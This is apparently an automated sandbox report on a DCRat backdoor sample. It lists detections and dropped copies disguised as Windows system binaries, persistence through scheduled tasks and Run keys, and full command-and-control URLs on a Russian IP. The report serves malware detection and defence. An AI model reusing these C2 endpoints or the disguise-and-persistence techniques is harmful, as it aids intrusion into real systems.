49731, 49732 THEFIRST-ASRU Russian Federation 15->40 64 System process connects to network (likely due to code injection or exploit) 15->64 file5 signatures6 process7 process8 26 w32tm.exe 1 18->26         started        28 conhost.exe 18->28         started        30 TodjHkXUZB.exe 18->30         started       

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        TodjHkXUZB.exe79%VirustotalBrowse
        TodjHkXUZB.exe79%ReversingLabsByteCode-MSIL.Backdoor.DCRat
        TodjHkXUZB.exe100%AviraHEUR/AGEN.1323343
        TodjHkXUZB.exe100%Joe Sandbox ML

        Dropped Files

        SourceDetectionScannerLabelLink
        C:\Users\user\AppData\Local\Temp\axOZ6YsJUi.bat100%AviraBAT/Delbat.C
        C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe100%AviraHEUR/AGEN.1323343
        C:\Windows\System32\nettraceex\dllhost.exe100%AviraHEUR/AGEN.1323343
        C:\PerfLogs\RuntimeBroker.exe100%AviraHEUR/AGEN.1323343
        C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe100%AviraHEUR/AGEN.1323343
        C:\Users\user\Searches\TextInputHost.exe100%AviraHEUR/AGEN.1323343
        C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe100%AviraHEUR/AGEN.1323343
        C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe100%Joe Sandbox ML
        C:\Windows\System32\nettraceex\dllhost.exe100%Joe Sandbox ML
        C:\PerfLogs\RuntimeBroker.exe100%Joe Sandbox ML
        C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe100%Joe Sandbox ML
        C:\Users\user\Searches\TextInputHost.exe100%Joe Sandbox ML
        C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe100%Joe Sandbox ML
        C:\PerfLogs\RuntimeBroker.exe79%ReversingLabsByteCode-MSIL.Backdoor.DCRat
        C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe79%ReversingLabsByteCode-MSIL.Backdoor.DCRat
        C:\Users\Public\Pictures\crQsxZqWXkIyquEQmzM.exe79%ReversingLabsByteCode-MSIL.Backdoor.DCRat
        C:\Users\user\Saved Games\crQsxZqWXkIyquEQmzM.exe79%ReversingLabsByteCode-MSIL.Backdoor.DCRat
        C:\Users\user\Searches\TextInputHost.exe79%ReversingLabsByteCode-MSIL.Backdoor.DCRat
        C:\Windows\System32\nettraceex\dllhost.exe79%ReversingLabsByteCode-MSIL.Backdoor.DCRat

        Unpacked PE Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1J100%Avira URL Cloudmalware
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB100%Avira URL Cloudmalware
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBB100%Avira URL Cloudmalware
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU100%Avira URL Cloudmalware
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJ100%Avira URL Cloudmalware
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw100%Avira URL Cloudmalware
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/0%Avira URL Cloudsafe
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1J100%Avira URL Cloudmalware
        http://62.109.25.1650%Avira URL Cloudsafe
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJaed=GdzBF2U&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&AVMJaed=GdzBF2U100%Avira URL Cloudmalware

        Domains and IPs

        Contacted Domains

        ⊘No contacted domains info

        Contacted URLs

        NameMaliciousAntivirus DetectionReputation
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFBtrue
        • Avira URL Cloud: malware
        		unknown
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJaed=GdzBF2U&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&AVMJaed=GdzBF2Utrue
        • Avira URL Cloud: malware
        		unknown
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaUtrue
        • Avira URL Cloud: malware
        		unknown
        http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAwtrue
        • Avira URL Cloud: malware
        		unknown

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        https://steamcommunity.com/profiles/TextInputHost.exe, 0000000D.00000002.1760200675.0000000002AA1000.00000004.00000800.00020000.00000000.sdmpfalse
          		high
          http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1JcrQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.0000000002816000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.00000000027EC000.00000004.00000800.00020000.00000000.sdmpfalse
          • Avira URL Cloud: malware
          		unknown
          http://62.109.25.165crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.0000000002816000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.0000000002809000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.00000000027EC000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000000C.00000002.1734290975.00000000028CC000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000000C.00000002.1734290975.00000000028AB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000000C.00000002.1734290975.00000000028D8000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1839419550.0000000002BE8000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1839419550.0000000002BC0000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1839419550.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000013.00000002.2081171609.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000013.00000002.2081171609.0000000002B0D000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000013.00000002.2081171609.0000000002B3E000.00000004.00000800.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJdllhost.exe, 00000013.00000002.2081171609.0000000002B0D000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000013.00000002.2081171609.0000000002B3E000.00000004.00000800.00020000.00000000.sdmpfalse
          • Avira URL Cloud: malware
          		unknown
          http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBBcrQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1839419550.0000000002BC0000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1839419550.0000000002BF4000.00000004.00000800.00020000.00000000.sdmpfalse
          • Avira URL Cloud: malware
          		unknown
          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameTodjHkXUZB.exe, 00000000.00000002.1689200346.0000000002452000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.00000000027EC000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000000C.00000002.1734290975.00000000028AB000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1839419550.0000000002BC0000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000013.00000002.2081171609.0000000002B0D000.00000004.00000800.00020000.00000000.sdmpfalse
            		high
            http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/dllhost.exe, 00000013.00000002.2081171609.0000000002B0D000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1JRuntimeBroker.exe, 0000000C.00000002.1734290975.00000000028AB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000000C.00000002.1734290975.00000000028D8000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: malware
            		unknown

            World Map of Contacted IPs

            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs

            Public IPs

            IPDomainCountryFlagASNASN NameMalicious
            62.109.25.165
            		unknownRussian Federation
            		29182THEFIRST-ASRUtrue

            General Information

            Joe Sandbox version:41.0.0 Charoite
            Analysis ID:1580555
            Start date and time:2024-12-25 05:31:05 +01:00
            Joe Sandbox product:CloudBasic
            Overall analysis duration:0h 6m 51s
            Hypervisor based Inspection enabled:false
            Report type:full
            Cookbook file name:default.jbs
            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
            Number of analysed new started processes analysed:21
            Number of new started drivers analysed:0
            Number of existing processes analysed:0
            Number of existing drivers analysed:0
            Number of injected processes analysed:0
            Technologies:
            • HCA enabled
            • EGA enabled
            • AMSI enabled
            Analysis Mode:default
            Analysis stop reason:Timeout
            Sample name:TodjHkXUZB.exe
            renamed because original name is a hash value
            Original Sample Name:1ec0ef270ff4b08fa5b6436ab0ed39d0.exe
            Detection:MAL
            Classification:mal100.troj.evad.winEXE@20/26@0/1
            EGA Information:Failed
            HCA Information:
            • Successful, ratio: 51%
            • Number of executed functions: 278
            • Number of non-executed functions: 6
            Cookbook Comments:
            • Found application associated with file extension: .exe

            Warnings

            • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
            • Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
            • Execution Graph export aborted for target RuntimeBroker.exe, PID 7848 because it is empty
            • Execution Graph export aborted for target TextInputHost.exe, PID 7868 because it is empty
            • Execution Graph export aborted for target TodjHkXUZB.exe, PID 7512 because it is empty
            • Execution Graph export aborted for target TodjHkXUZB.exe, PID 8020 because it is empty
            • Execution Graph export aborted for target crQsxZqWXkIyquEQmzM.exe, PID 7812 because it is empty
            • Execution Graph export aborted for target crQsxZqWXkIyquEQmzM.exe, PID 8144 because it is empty
            • Execution Graph export aborted for target dllhost.exe, PID 5928 because it is empty
            • Execution Graph export aborted for target dllhost.exe, PID 7828 because it is empty
            • Not all processes where analyzed, report is missing behavior information
            • Report size exceeded maximum capacity and may have missing behavior information.
            • Report size getting too big, too many NtOpenKeyEx calls found.
            • Report size getting too big, too many NtQueryValueKey calls found.

            Simulations

            Behavior and APIs

            TimeTypeDescription
            04:32:00Task SchedulerRun new task: crQsxZqWXkIyquEQmzM path: "C:\Program Files (x86)\jdownloader\config\crQsxZqWXkIyquEQmzM.exe"
            04:32:00Task SchedulerRun new task: dllhost path: "C:\Windows\System32\nettraceex\dllhost.exe"
            04:32:00Task SchedulerRun new task: RuntimeBroker path: "C:\PerfLogs\RuntimeBroker.exe"
            04:32:00Task SchedulerRun new task: TextInputHost path: "C:\Users\user\Searches\TextInputHost.exe"
            04:32:02AutostartRun: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run crQsxZqWXkIyquEQmzM "C:\Program Files (x86)\jdownloader\config\crQsxZqWXkIyquEQmzM.exe"
            04:32:10AutostartRun: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\PerfLogs\RuntimeBroker.exe"
            04:32:18AutostartRun: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run TextInputHost "C:\Users\user\Searches\TextInputHost.exe"
            04:32:26AutostartRun: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run dllhost "C:\Windows\System32\nettraceex\dllhost.exe"
            23:32:02API Interceptor6x Sleep call for process: RuntimeBroker.exe modified
            23:32:02API Interceptor11x Sleep call for process: crQsxZqWXkIyquEQmzM.exe modified
            23:32:37API Interceptor5x Sleep call for process: dllhost.exe modified

            Joe Sandbox View / Context

            IPs

            ⊘No context

            Domains

            ⊘No context

            ASNs

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            THEFIRST-ASRU7fGdoA6Inq.exeGet hashmaliciousDCRatBrowse
            • 78.24.221.196
            Josho.spc.elfGet hashmaliciousUnknownBrowse
            • 178.250.157.175
            https://santa-secret.ru/api/verify?a=NjgyODEwNCw1bWluOHE2MHpuX3J1LC9hY2NvdW50L2JveGVzLHZsYWRpbWlyLmdsdXNoZW5rb0Bob2NobGFuZC5ydSwyNDE0MTYzMg==Get hashmaliciousUnknownBrowse
            • 185.60.135.47
            Dfim58cp4J.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
            • 188.120.227.56
            KyC6hVwU8Z.exeGet hashmaliciousDCRatBrowse
            • 185.43.5.93
            gorkmTnChA.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
            • 185.246.67.73
            home.mips.elfGet hashmaliciousGafgyt, MiraiBrowse
            • 37.230.119.182
            x86-20241130-2047.elfGet hashmaliciousMiraiBrowse
            • 82.146.62.180
            sora.mips.elfGet hashmaliciousMiraiBrowse
            • 62.109.30.187
            UNFOT5F1qt.exeGet hashmaliciousDCRatBrowse
            • 188.120.228.203

            JA3 Fingerprints

            ⊘No context

            Dropped Files

            ⊘No context

            Created / dropped Files

            C:\PerfLogs\9e8d7a4ca61bd92aff00cc37a7a4d62a2cac998d

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with no line terminators
            Category:dropped
            Size (bytes):266
            Entropy (8bit):5.809173993666612
            Encrypted:false
            SSDEEP:3:x9h0znUScOQ2IgSLM44DS81NCBXu/tdH4KEv0kDHxCQICmHC1s7vY8qWv1WtMM6+:xjovC25s2VtdXGlHEd6sE1B6YWbAkFf2
            MD5:22BF3B74026D910D771783B48FDF9D2B
            SHA1:049348D6012B408C41A6EF73A61AB0D949EF07D1
            SHA-256:E81A2D7CE48EF475AD25322D78687AA73F8BC6F1511DB3F8CABD53E84DC273C3
            SHA-512:4C73EF2771EE2E65B7CC391CE6A57E60C707AF5C739F3BD358DF0B31D92D9085A61C0EB2DC43D42E9A73BA04E9B1D9C7E6481F0C8F91E15563439AD674ED0510
            Malicious:false
            Preview:3TsbMexFRQVuzY1eqqygj2BdLHjXdxwQ02mwf8LcSz7oetPfIHBat4qAROPE5ZmdeF47vE9sfWNu5W9c2DPVwWg6MmeQsGh2NdKZzStDIT5Xq6F4PxM1JQrHi7vJks9YzUgcMkmjUMMdaJPPhkA53pt6vD01gjcaTghWZnspKmg7EOqZsfmArEeJlkqItvCutwJ4m2031VuQJw2hWbIB7csPBXuz6j5YkwNRFwxzpsIWTOAzrJwSnBxRE43OHA7SZVqXikcjnS

            C:\PerfLogs\RuntimeBroker.exe

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
            Category:dropped
            Size (bytes):933888
            Entropy (8bit):6.067363899551992
            Encrypted:false
            SSDEEP:12288:JHNEIuRlXJxJVB+1XleQis3mFkVfm1SFw6Xdv8ZOmddDqBHjqn4:dNLEJxpseQihFqfmVPOBBD+4
            MD5:1EC0EF270FF4B08FA5B6436AB0ED39D0
            SHA1:363E5655608BE17B3BA57BF54CD2DE3BE943AFB4
            SHA-256:98372C461F60EB37116D1A876433E4D333126DDBEC61CFAFA7E4ED64A9F7A844
            SHA-512:0D08CF20E83E876B82BAF7BB04B829F67FE0AFAB262685A25012F3789541E484FB893647EDE9FF2DC48D617C647564EF1533CDD54ECFE5C9838344B072B22BD9
            Malicious:true
            Antivirus:
            • Antivirus: Avira, Detection: 100%
            • Antivirus: Joe Sandbox ML, Detection: 100%
            • Antivirus: ReversingLabs, Detection: 79%
            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....ia.....................Z........... ... ....@.. ....................................@.................................p...K.................................................................................... ............... ..H............text........ ...................... ..`.sdata...R... ...T..................@....rsrc................:..............@..@.reloc...............>..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

            C:\PerfLogs\RuntimeBroker.exe:Zone.Identifier

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with CRLF line terminators
            Category:dropped
            Size (bytes):26
            Entropy (8bit):3.95006375643621
            Encrypted:false
            SSDEEP:3:ggPYV:rPYV
            MD5:187F488E27DB4AF347237FE461A079AD
            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
            Malicious:true
            Preview:[ZoneTransfer]....ZoneId=0

            C:\Program Files (x86)\jDownloader\config\9bbeff4be41982a9d16e76407a2635460d1b41f2

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with very long lines (790), with no line terminators
            Category:dropped
            Size (bytes):790
            Entropy (8bit):5.8856685535888635
            Encrypted:false
            SSDEEP:12:NwYQSvLmfGC5VmXz5czlpoSVBjOLcVLZ2uASTf1XqNsiUpa2iPnjR:NPdwkjgCSTimFFTfQyiqiPjR
            MD5:037EA05257F4478D36F3429791A8DB17
            SHA1:52401BFF3F8B23E9BFCB68A5C172035750E502D2
            SHA-256:77B9844C8C62FB3F03DFEB9955FD9FFD2D12C0D0B53DE3030ACB994ECEBAD737
            SHA-512:57427DAD347F61CB6231A259B8834FB8D795C3452C212E499E94FC1D65DB569545CADD365E9683CE00F68D46F360D8F180344AB6D15FD1013A33DB47FD84E1CB
            Malicious:false
            Preview:gGO9rNQ8ovRa6JtrYnkqvTzU1dKnocLyf4tkxhRZIatGe7nwCtQjBbBNR4IOCmTLjd5CaI40VKhVjs030Xk5LmwD3gT2YDWfGihACkW4zZN04pniEPYpBY97q1J3yBcSxCOBLz0PBqFvY6JN2vxJprdsijULbcFx75C1amXPYInVSNjur5BDNTnGigdlepyikRyc3RxPYiugEIZUAkdfbCjoS6T4JvusTFvAZG1aIvppiGBaGIl4MTHhrKK683GnyBM8WY44tDWpX4FL42xAJzgA7NSP54bPpC0g4DDsNqLJ6cKxE9BFFFd9fLBIFp8ylH9VDjR1zFwcnXEfDfK62WJji1BsB4mirXhycztesKQASAVHHgFkfC5O7ZwMiiz4cOuPzPCOwpOsGJRif3kfzCCpbT1DCh6JUWhDPFR2e1xzyMIyIOqo7UEaMFygY8LOtEYulNTalsB8ON0OKC5y1SL9RH1JRvefpjGtyYN45QCPSGM8PjVVDXXb3YceWJI0OgToHGawzA3lP5qL434rZIbRMpzZ5sivHLBwwh0IJjgDdvL7sRjcPabFEBccQB1GcHdD44YXCvi0mYyad1rnIFgqu5rvFY1IrZkVRHDx2Mad1lcqNB8ZTN7WlxT8MnSn4aINxcJWy3u6pCzIcBiDZcyebOuexElP4wibdP2v2mkacBri7LfLEOOcmnvjroitSeB2eYoNIwLx1XBagLgmjaLqiGyzdTDND0I79yEjgSCRCakOlVCgI6K1TVUXjytzt7tAPEasH6FQX3nHgjOIQh

            C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
            Category:dropped
            Size (bytes):933888
            Entropy (8bit):6.067363899551992
            Encrypted:false
            SSDEEP:12288:JHNEIuRlXJxJVB+1XleQis3mFkVfm1SFw6Xdv8ZOmddDqBHjqn4:dNLEJxpseQihFqfmVPOBBD+4
            MD5:1EC0EF270FF4B08FA5B6436AB0ED39D0
            SHA1:363E5655608BE17B3BA57BF54CD2DE3BE943AFB4
            SHA-256:98372C461F60EB37116D1A876433E4D333126DDBEC61CFAFA7E4ED64A9F7A844
            SHA-512:0D08CF20E83E876B82BAF7BB04B829F67FE0AFAB262685A25012F3789541E484FB893647EDE9FF2DC48D617C647564EF1533CDD54ECFE5C9838344B072B22BD9
            Malicious:true
            Antivirus:
            • Antivirus: Avira, Detection: 100%
            • Antivirus: Avira, Detection: 100%
            • Antivirus: Avira, Detection: 100%
            • Antivirus: Joe Sandbox ML, Detection: 100%
            • Antivirus: Joe Sandbox ML, Detection: 100%
            • Antivirus: Joe Sandbox ML, Detection: 100%
            • Antivirus: ReversingLabs, Detection: 79%
            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....ia.....................Z........... ... ....@.. ....................................@.................................p...K.................................................................................... ............... ..H............text........ ...................... ..`.sdata...R... ...T..................@....rsrc................:..............@..@.reloc...............>..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

            C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe:Zone.Identifier

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with CRLF line terminators
            Category:dropped
            Size (bytes):26
            Entropy (8bit):3.95006375643621
            Encrypted:false
            SSDEEP:3:ggPYV:rPYV
            MD5:187F488E27DB4AF347237FE461A079AD
            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
            Malicious:true
            Preview:[ZoneTransfer]....ZoneId=0

            C:\Users\Public\Pictures\9bbeff4be41982a9d16e76407a2635460d1b41f2

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with very long lines (532), with no line terminators
            Category:dropped
            Size (bytes):532
            Entropy (8bit):5.859197681410458
            Encrypted:false
            SSDEEP:12:EgKpuitJeCFapH9ltajXrS131qyGCPYiEsUk:2XjTapdlt4XrOFtG5i7
            MD5:E2A6B5F0A78889C7F3E8CC648466E42E
            SHA1:EB63D4E246B7F2A073435AD56AD83346FBCB9C20
            SHA-256:4DFE1F12DD671B6740E6482EC840E3A76E464362BBECB06D99BCF365AB9CEE1C
            SHA-512:FDD67B9C55624402E5C9088DEB83695FEA2EC056243A3EBF239CFE499281E46D16F7502AF0B9E9067434F67C7A820CE448CC7FAE88A6640979755739BB67C082
            Malicious:false
            Preview:JdMVc7K5xr0IYDiNdJM6CXX1hCzAqEIlSfADdGDbBXOaPW53dRzFQudvGUxaHKOsjPz3CeuXGu4pI7mKG6hZPDUiBP7ISmT1If09gC08gb8fzynIrnTLmzdg4Q1xgmFdbDgnGmoEFi2xEytNmybpTHOTCTFPKDc4WeEvS9CF8OFE6pcGhoLrLaKTzMlxhY4CF8bku74mwWqEBJWW18sg2ut6Tu6FYOhkUD88O1Vjtj4ytFSpzP6ipXKUOfQAByNiyFu8KYH9nIwS04MOcQPJS9463ntslVh4VWAoVTebH65gl1eUTChujDPzKyEhoYYRk16d4i2IwyCWDXUCIZZixxVSHKdhP7wsin5u4BZuJZ8uA3vwdCYO8zdxfoWtFV3yBUxZbkHH9pZYylRNZqEMjitsKIOQpqpxfJtqFVU25QPTZE94WIUYRrPdkFPTW1bT9l3p1lHDVLRSSZSFJT3gWRfy3QGAFBgDz5UxLTCvAQDGa7KKwKKC846sGEvlfH7UpNdWFf3zRIgFOZY6F5O5

            C:\Users\Public\Pictures\crQsxZqWXkIyquEQmzM.exe

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
            Category:dropped
            Size (bytes):933888
            Entropy (8bit):6.067363899551992
            Encrypted:false
            SSDEEP:12288:JHNEIuRlXJxJVB+1XleQis3mFkVfm1SFw6Xdv8ZOmddDqBHjqn4:dNLEJxpseQihFqfmVPOBBD+4
            MD5:1EC0EF270FF4B08FA5B6436AB0ED39D0
            SHA1:363E5655608BE17B3BA57BF54CD2DE3BE943AFB4
            SHA-256:98372C461F60EB37116D1A876433E4D333126DDBEC61CFAFA7E4ED64A9F7A844
            SHA-512:0D08CF20E83E876B82BAF7BB04B829F67FE0AFAB262685A25012F3789541E484FB893647EDE9FF2DC48D617C647564EF1533CDD54ECFE5C9838344B072B22BD9
            Malicious:true
            Antivirus:
            • Antivirus: ReversingLabs, Detection: 79%
            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....ia.....................Z........... ... ....@.. ....................................@.................................p...K.................................................................................... ............... ..H............text........ ...................... ..`.sdata...R... ...T..................@....rsrc................:..............@..@.reloc...............>..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

            C:\Users\Public\Pictures\crQsxZqWXkIyquEQmzM.exe:Zone.Identifier

            Download File
            Process:C:\Users\user\Desktop\TodjHkXUZB.exe
            File Type:ASCII text, with CRLF line terminators
            Category:dropped
            Size (bytes):26
            Entropy (8bit):3.95006375643621
            Encrypted:false
            SSDEEP:3:ggPYV:rPYV
            MD5:187F488E27DB4AF347237FE461A079AD
            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
            Malicious:false
